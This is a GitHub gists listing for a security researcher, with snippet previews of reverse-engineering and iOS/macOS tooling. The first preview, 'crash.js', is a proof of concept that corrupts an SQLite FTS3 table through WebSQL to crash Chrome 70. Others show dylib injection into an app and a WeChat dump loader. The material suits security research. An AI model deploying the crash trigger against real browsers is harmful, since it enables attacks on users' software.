ChiChou’s gists

ChiChou / crash.js

Created December 16, 2018 03:23

crash Chrome 70

	const poc = `CREATE VIRTUAL TABLE ft USING fts3;
	INSERT INTO ft VALUES('aback');
	INSERT INTO ft VALUES('abaft');
	INSERT INTO ft VALUES('abandon');
	UPDATE ft_segdir SET root = x'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';
	SELECT * FROM ft WHERE ft MATCH 'abandon';`;

	const name = 'db' + Math.random().toString().slice(2, 5);
	const db = openDatabase(name, '1.0', 'xx', 1024 * 16);

ChiChou / build-xnu-4903.221.2.sh

Created December 11, 2018 08:23 — forked from matteyeux/build-xnu-4903.221.2.sh

A script to build XNU version 4903.221.2 (macOS High Sierra 10.13). Initial script by Brandon Azad.

	#! /bin/bash
	#
	# build-xnu-4903.221.2.sh
	# Initial script by Brandon Azad (https://gist.github.com/bazad/654959120a423b226dc564073b435453)
	# Updated on 12/11/18 by matteyeux
	#
	# A script showing how to build XNU version 4570.1.46 on MacOS High Sierra
	# 10.13 with Xcode 9.
	#
	# Note: This process will OVERWRITE files in Xcode's MacOSX10.13.sdk. Make a

ChiChou / dsc_syms.c

Created November 15, 2018 08:05 — forked from Siguza/dsc_syms.c

dyld_shared_cache symbols to r2 flags

	#include <errno.h>
	#include <fcntl.h> // open
	#include <stdint.h>
	#include <stdio.h> // printf, fprintf, stderr
	#include <stdlib.h> // exit
	#include <string.h> // strerror, strncmp
	#include <sys/mman.h> // mmap
	#include <sys/stat.h> // fstat
	#include <mach-o/loader.h>
	#include <mach-o/nlist.h>

ChiChou / dash-dark-mode-patch.m

Created October 12, 2018 06:41

If you don't want invert color

	// clang -shared -undefined dynamic_lookup -o /Applications/Dash.app/Contents/MacOS/libDash.dylib Dash.m
	// optool install -c load -p @executable_path/libDash.dylib -t /Applications/Dash.app/Contents/MacOS/Dash

	#import <Foundation/Foundation.h>
	#import <objc/runtime.h>

	static void pleasedontinvertwebview(/* we don't care about the args */) {
	NSLog(@"oops");
	}

ChiChou / macho.js

Last active February 26, 2025 06:59

Frida in-memory Mach-O parser

	// to speed up, I removed all data validation

	function MemoryBuffer(address, size) {
	this.base = address

	if (!size) {
	// const range = Process.findRangeByAddress(address)
	// if (!range)
	// throw new Error('invalid address: ' + address)

ChiChou / Android.mk

Last active March 28, 2024 10:56

WeChat dump

	LOCAL_PATH := $(call my-dir)

	include $(CLEAR_VARS)


	LOCAL_MODULE := loader
	LOCAL_MODULE_TAGS := optional
	LOCAL_SRC_FILES := loader.c
	LOCAL_CPPFLAGS := -std=gnu++0x -Wall
	LOCAL_LDLIBS := -L$(SYSROOT)/usr/lib -llog -pie -fPIE

ChiChou / iOS-checksec.py

Last active March 8, 2023 02:30

checksec for iOS executables based on lief

	#!/usr/bin/env python3
	import struct
	import lief
	from lief.MachO import LOAD_COMMAND_TYPES, HEADER_FLAGS


	def check(filename):
	macho = lief.parse(filename)

	# check this?

ChiChou / fixheader.sh

Created March 27, 2017 05:56

fix header generated from class-dump

	#!/bin/bash
	#
	# NOTE: You need to `brew install gnu-sed` on Mac
	#
	# by @codecolorist
	# http://github.com/chichou
	#
	# fix some compilation error of headers generated by class-dump
	#
	# usage: fixheader.sh DIRECTORY

ChiChou / google-code-stylebot.css

Last active October 17, 2016 06:06

Dark theme user style for google code

	/**

	Stylebot for Chrome:
	https://chrome.google.com/webstore/detail/stylebot/oiaejidbmkiecgbjeifoejpgmdaleoha

	Stylish for Safari:
	http://sobolev.us/stylish/

	**/

ChiChou / nameit.py

Created August 13, 2016 12:59

How I name my project

	#!/usr/bin/env python3

	# git clone https://github.com/dwyl/english-words.git
	# cd english-words
	# wget https://gist.github.com/ChiChou/d3d90b026f45017a98e8e39157d3caae/raw/nameit.py
	# pip3 install lxml beautifulsoup4 requests
	# ./nameit.py

	import random
	import os

codecolorist ChiChou